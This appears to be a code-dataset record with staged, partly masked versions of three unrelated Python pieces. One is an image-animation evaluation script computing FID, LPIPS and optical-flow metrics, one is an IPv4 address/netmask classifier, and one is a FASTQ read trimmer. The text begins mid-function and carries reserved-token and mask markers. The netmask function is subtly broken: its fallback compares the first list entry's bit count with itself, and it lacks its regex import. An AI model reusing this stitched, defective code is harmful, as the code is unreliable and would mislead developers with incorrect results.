cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n",
"step-4": "import collections\nimport glob\nimport os\nimport pandas as pd\nimport numpy as np\nimport torch.nn.functional as F\nimport PIL.Image as Image\nfrom inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params\nfrom inference.metrics.fid.fid_score import _compute_statistics_of_images, calculate_frechet_distance\nfrom inference.metrics.fid.inception import InceptionV3\nfrom inference.metrics.lpips import LPIPSLossWrapper\nfrom inference.perspective import load_video_frames_from_folder, FlowPredictor\nfrom inference.segmentation import SegmentationModule\nfrom inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts\nfrom inference.metrics.ssim import SSIM\nimport constants\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean()\n )\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean()\n )\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu(\n ).numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.\n segm_network)).cuda()\n segmentation_network.eval()\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n all_metrics = []\n all_metrics_idx = []\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img,\n fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False\n )\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(\n gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means,\n fid_gt_std, fid_gen_means, fid_gen_std))\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(),\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True\n )[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(\n cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1,\n keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.\n real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max(\n ) - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode=\n 'bilinear', align_corners=False)\n crop_y1, crop_y2, crop_x1, crop_x2 = (\n choose_center_full_size_crop_params(*frame_batch.shape[2:]))\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n cur_segm_scores = segmentation_network.predict(frame_batch,\n imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = frame_batch, cur_segm_proba\n animated_frames_by_i = collections.defaultdict(list)\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=\n args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys()\n )\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1,\n keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(\n cur_real_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(\n 1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, \n shift_mask > 0)\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1],\n cur_real_frame))\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 -\n shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(\n real_frames_as_img, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(\n cur_gen_frames, fid_model, batch_size=args.batch, dims=2048,\n cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means,\n fid_real_std, cur_fid_means, cur_fid_std))\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default=\n 'results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default=\n 'results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default=\n 'results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default=\n 'results/generated/256/noise', help=\n 'Path to generated videos (separate folder with frames for each video)'\n )\n aparser.add_argument('--animated-images', type=str, default=\n 'results/encode_and_animate_results/test_images/02_eoif', help=\n 'Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default=\n 'results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str, default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help=\n 'Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help=\n 'How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help=\n 'Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str, default=os.path.join(\n constants.RESULT_DIR,\n 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'), help=\n 'Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'), help=\n 'Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str, default=os.path.join(\n constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n main(aparser.parse_args())\n",
"step-5": "#!/usr/bin/env python3\nimport collections\nimport glob\nimport os\n\nimport pandas as pd\nimport numpy as np\nimport torch.nn.functional as F\nimport PIL.Image as Image\n\nfrom inference.base_image_utils import get_scale_size, image2batch, choose_center_full_size_crop_params\nfrom inference.metrics.fid.fid_score import _compute_statistics_of_images, \\\n calculate_frechet_distance\nfrom inference.metrics.fid.inception import InceptionV3\nfrom inference.metrics.lpips import LPIPSLossWrapper\nfrom inference.perspective import load_video_frames_from_folder, FlowPredictor\nfrom inference.segmentation import SegmentationModule\nfrom inference.encode_and_animate import calc_segmentation_posterior_error, sum_dicts\nfrom inference.metrics.ssim import SSIM\nimport constants\n\n\nMOVABLE_CLASSES = [2, 21]\n\n\ndef calc_optical_flow_metrics(flow_predictor, frames, movable_mask):\n if not movable_mask.any():\n return dict(flow_l2=float('nan'))\n\n assert not (frames < 0).any() and not (frames > 1).any()\n flows = flow_predictor.predict_flow(frames * 2 - 1)[1]\n flows_x, flows_y = flows[:, [0]], flows[:, [1]]\n flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean())\n flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean())\n\n result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5)\n\n return result\n\n\ndef batch2pil(batch):\n np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu().numpy().astype('uint8')\n return [Image.fromarray(ar) for ar in np_batch]\n\n\ndef main(args):\n segmentation_network = SegmentationModule(os.path.expandvars(args.segm_network)).cuda()\n segmentation_network.eval()\n\n lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda()\n flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network))\n\n all_metrics = []\n all_metrics_idx = []\n\n # load generated images\n gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gen_images), '*.jpg')))\n gen_frames_as_img = []\n for fname in gen_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n frame_img = batch2pil(frame_batch)[0]\n gen_frames_as_img.append(frame_img)\n\n # load gt-images, scale, crop and segment\n gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.gt_images), '*.jpg')))\n gt_frames_as_img = []\n for fname in gt_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n\n frame_batch = image2batch(frame).cuda() / 2 + 0.5\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)\n\n crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n\n frame_img = batch2pil(frame_batch)[0]\n gt_frames_as_img.append(frame_img)\n\n # compute FID between generated images and gt\n print('Calculating FID for images...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid_gen_means, fid_gen_std = _compute_statistics_of_images(gen_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid = dict()\n fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std))\n\n # load generated videos\n for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n\n # get mask from the first frame\n cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n \n movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]\n immovable_scores = cur_segm_proba[:, [c for c in range(cur_segm_proba.shape[1])\n if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)\n\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n lpips = []\n for l in range(1, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask))))\n cur_metrics['lpips_gen'] = np.mean(lpips)\n sum_dicts(cur_metrics, flow_metrics)\n\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n\n # load real images, from which the videos were generated, scale, crop and segment\n real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args.real_images), '*.jpg')))\n real_frames_as_img = []\n real_frames_with_segm = {}\n for fname in real_frame_paths:\n frame = Image.open(fname).convert('RGB')\n frame = frame.resize(get_scale_size(args.resolution, frame.size))\n\n # check the interval of stored numbers: 0..1 || -1..1 || 0..255\n frame_batch = image2batch(frame).cuda()\n frame_batch = (frame_batch - frame_batch.min()) / (frame_batch.max() - frame_batch.min())\n assert not (frame_batch < 0).any() and not (frame_batch > 1).any()\n scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:])\n frame_batch = F.interpolate(frame_batch, size=scaled_size, mode='bilinear', align_corners=False)\n\n crop_y1, crop_y2, crop_x1, crop_x2 = choose_center_full_size_crop_params(*frame_batch.shape[2:])\n frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2]\n\n frame_img = batch2pil(frame_batch)[0]\n real_frames_as_img.append(frame_img)\n\n cur_segm_scores = segmentation_network.predict(frame_batch, imgSizes=[args.resolution])\n cur_segm_proba = F.softmax(cur_segm_scores, dim=1)\n f_id = os.path.splitext(os.path.basename(fname))[0]\n real_frames_with_segm[f_id] = (frame_batch, cur_segm_proba)\n\n # load videos -- animated real images\n animated_frames_by_i = collections.defaultdict(list)\n\n for src_path in sorted(glob.glob(os.path.join(args.animated_images, '*'))):\n if not os.path.isdir(src_path):\n continue\n print(f'Processing {src_path}')\n if src_path.endswith('/'):\n src_path = src_path[:-1]\n\n vname = os.path.basename(src_path)\n frames = load_video_frames_from_folder(src_path, frame_template=args.frametemplate) / 2 + 0.5\n assert not (frames < 0).any() and not (frames > 1).any()\n\n for i, fr in enumerate(batch2pil(frames)):\n animated_frames_by_i[i].append(fr)\n\n cur_real_frame = None\n cur_real_segm_proba = None\n for frname, (fr, segm) in real_frames_with_segm.items():\n if vname.startswith(frname):\n cur_real_frame = fr\n cur_real_segm_proba = segm\n break\n assert cur_real_frame is not None, (vname, real_frames_with_segm.keys())\n\n movable_scores = cur_real_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True)[0]\n immovable_scores = cur_real_segm_proba[:, [c for c in range(cur_real_segm_proba.shape[1])\n if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0]\n shift_mask = (movable_scores > immovable_scores).float()\n\n print('Flow metrics...')\n flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0)\n\n print('LPIPS metrics...')\n cur_metrics = collections.defaultdict(float)\n cur_metrics['lpips_1_frame'] = float(lpips_criterion(frames[:1], cur_real_frame))\n\n lpips = []\n for l in range(0, frames.shape[0], args.batch):\n r = min(l + args.batch, frames.shape[0])\n lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), cur_real_frame.cuda() * (1 - shift_mask))))\n cur_metrics['lpips_anim'] = np.mean(lpips)\n\n sum_dicts(cur_metrics, flow_metrics)\n\n all_metrics.append(cur_metrics)\n all_metrics_idx.append(vname)\n\n print('Calculating FID...')\n block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048]\n fid_model = InceptionV3([block_idx]).cuda()\n fid_real_means, fid_real_std = _compute_statistics_of_images(real_frames_as_img, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n for i, cur_gen_frames in animated_frames_by_i.items():\n if i % args.skipframe != 0:\n continue\n cur_fid_means, cur_fid_std = _compute_statistics_of_images(cur_gen_frames, fid_model,\n batch_size=args.batch,\n dims=2048, cuda=True, keep_size=False)\n fid[f'fid_{i}'] = float(calculate_frechet_distance(fid_real_means, fid_real_std,\n cur_fid_means, cur_fid_std))\n\n all_metrics.append(fid)\n all_metrics_idx.append('global_metrics')\n\n os.makedirs(os.path.dirname(args.outpath), exist_ok=True)\n sum_metrics = pd.DataFrame(all_metrics, index=all_metrics_idx)\n sum_metrics.to_csv(args.outpath, sep='\\t')\n\n\nif __name__ == '__main__':\n import argparse\n\n aparser = argparse.ArgumentParser()\n aparser.add_argument('--outpath', type=str, default='results/metrics.csv', help='Path to file to write metrics to')\n aparser.add_argument('--gen-images', type=str, default='results/generated/256/images', help='Path to generated images')\n aparser.add_argument('--gt-images', type=str, default='results/gt_images', help='Path to gt-images')\n aparser.add_argument('--gen-videos', type=str, default='results/generated/256/noise', \n help='Path to generated videos (separate folder with frames for each video)')\n aparser.add_argument('--animated-images', type=str,\n default='results/encode_and_animate_results/test_images/02_eoif', \n help='Path to animated images (separate folder with frames for each video)')\n aparser.add_argument('--real-images', type=str, default='results/test_images', help='Path to real input images')\n aparser.add_argument('--frametemplate', type=str,\n default='{:05}.jpg',\n help='Template to generate frame file names')\n aparser.add_argument('--resolution', type=int, default=256, help='Resolution of generated frames')\n aparser.add_argument('--skipframe', type=int, default=10, help='How many frames to skip before evaluating FID')\n aparser.add_argument('--batch', type=int, default=69, help='Batch size for FID and LPIPS calculation')\n aparser.add_argument('--segm-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/ade20k-resnet50dilated-ppm_deepsup'),\n help='Path to ade20k-resnet50dilated-ppm_deepsup')\n aparser.add_argument('--flow-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/SuperSloMo.ckpt'),\n help='Path to SuperSloMo.ckpt')\n aparser.add_argument('--lpips-network', type=str,\n default=os.path.join(constants.RESULT_DIR, 'pretrained_models/lpips_models/vgg.pth'),\n help='Path to vgg.pth')\n\n main(aparser.parse_args())\n\n",
"step-ids": [
0,
4,
5,
6,
7
]
}
|
[
0,
4,
5,
6,
7
] |
def check_ip_or_mask(temp_str):
IPv4_regex = (r'(?:[0-9]{1,3}\.){3}[0-9]{1,3}')
temp_list_ip_mask = re.findall(IPv4_regex, temp_str)
binary_temp_list_ip_mask = []
temp_binary_ip_mask = ''
for x in range(len(temp_list_ip_mask)):
split_ip_address = re.split(r'\.', temp_list_ip_mask[x])
for y in range(len(split_ip_address)):
temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].zfill(8))
binary_temp_list_ip_mask.append(temp_binary_ip_mask)
temp_binary_ip_mask = ''
ip_index_list = []
mask_index_list = []
for x in range(2):
if not re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):
ip_index_list.append(x)
if re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):
mask_index_list.append(x)
if len(ip_index_list) == 1 and len(mask_index_list) == 1:
ipv4 = temp_list_ip_mask[int(ip_index_list[0])]
net_mask = temp_list_ip_mask[int(mask_index_list[0])]
else:
if (binary_temp_list_ip_mask[0].count('1')) < (binary_temp_list_ip_mask[0].count('1')):
ipv4 = temp_list_ip_mask[0]
net_mask = temp_list_ip_mask[1]
else:
ipv4 = temp_list_ip_mask[1]
net_mask = temp_list_ip_mask[0]
return "IPv4: " + ipv4 + "\n" + "Net mask: " + net_mask
|
normal
|
{
"blob_id": "fe597ad4462b1af3f3f99346c759c5fa8a7c14f4",
"index": 741,
"step-1": "<mask token>\n",
"step-2": "def check_ip_or_mask(temp_str):\n IPv4_regex = '(?:[0-9]{1,3}\\\\.){3}[0-9]{1,3}'\n temp_list_ip_mask = re.findall(IPv4_regex, temp_str)\n binary_temp_list_ip_mask = []\n temp_binary_ip_mask = ''\n for x in range(len(temp_list_ip_mask)):\n split_ip_address = re.split('\\\\.', temp_list_ip_mask[x])\n for y in range(len(split_ip_address)):\n temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].\n zfill(8))\n binary_temp_list_ip_mask.append(temp_binary_ip_mask)\n temp_binary_ip_mask = ''\n ip_index_list = []\n mask_index_list = []\n for x in range(2):\n if not re.match('^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n ip_index_list.append(x)\n if re.match('^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n mask_index_list.append(x)\n if len(ip_index_list) == 1 and len(mask_index_list) == 1:\n ipv4 = temp_list_ip_mask[int(ip_index_list[0])]\n net_mask = temp_list_ip_mask[int(mask_index_list[0])]\n elif binary_temp_list_ip_mask[0].count('1') < binary_temp_list_ip_mask[0\n ].count('1'):\n ipv4 = temp_list_ip_mask[0]\n net_mask = temp_list_ip_mask[1]\n else:\n ipv4 = temp_list_ip_mask[1]\n net_mask = temp_list_ip_mask[0]\n return 'IPv4: ' + ipv4 + '\\n' + 'Net mask: ' + net_mask\n",
"step-3": "def check_ip_or_mask(temp_str):\n IPv4_regex = (r'(?:[0-9]{1,3}\\.){3}[0-9]{1,3}')\n temp_list_ip_mask = re.findall(IPv4_regex, temp_str)\n binary_temp_list_ip_mask = []\n temp_binary_ip_mask = ''\n for x in range(len(temp_list_ip_mask)):\n split_ip_address = re.split(r'\\.', temp_list_ip_mask[x])\n for y in range(len(split_ip_address)):\n temp_binary_ip_mask += str(bin(int(split_ip_address[y]))[2:].zfill(8))\n binary_temp_list_ip_mask.append(temp_binary_ip_mask)\n temp_binary_ip_mask = ''\n ip_index_list = []\n mask_index_list = []\n for x in range(2):\n if not re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n ip_index_list.append(x)\n if re.match(r'^[1]+[0]*$', binary_temp_list_ip_mask[x]):\n mask_index_list.append(x)\n if len(ip_index_list) == 1 and len(mask_index_list) == 1:\n ipv4 = temp_list_ip_mask[int(ip_index_list[0])]\n net_mask = temp_list_ip_mask[int(mask_index_list[0])]\n else:\n if (binary_temp_list_ip_mask[0].count('1')) < (binary_temp_list_ip_mask[0].count('1')):\n ipv4 = temp_list_ip_mask[0]\n net_mask = temp_list_ip_mask[1]\n else:\n ipv4 = temp_list_ip_mask[1]\n net_mask = temp_list_ip_mask[0]\n\n return \"IPv4: \" + ipv4 + \"\\n\" + \"Net mask: \" + net_mask\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for s in sys.argv[3:]:
file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')
r_list = []
size = 0
for r in SeqIO.parse(s, 'fastq'):
r_list.append(r[start:end])
size += 1
if size == RECORD_BUFFER_SIZE:
SeqIO.write(r_list, file, 'fastq')
r_list = []
size = 0
if size > 0:
SeqIO.write(r_list, file, 'fastq')
file.close()
<|reserved_special_token_1|>
<|reserved_special_token_0|>
RECORD_BUFFER_SIZE = 100000
start = int(sys.argv[1]) - 1
end = int(sys.argv[2])
for s in sys.argv[3:]:
file = open(s + '.' + sys.argv[1] + '-' + sys.argv[2] + '.trimmed', 'w')
r_list = []
size = 0
for r in SeqIO.parse(s, 'fastq'):
r_list.append(r[start:end])
size += 1
if size == RECORD_BUFFER_SIZE:
SeqIO.write(r_list, file, 'fastq')
r_list = []
size = 0
if size > 0:
SeqIO.write(r_list, file, 'fastq')
file.close()
<|reserved_special_token_1|>
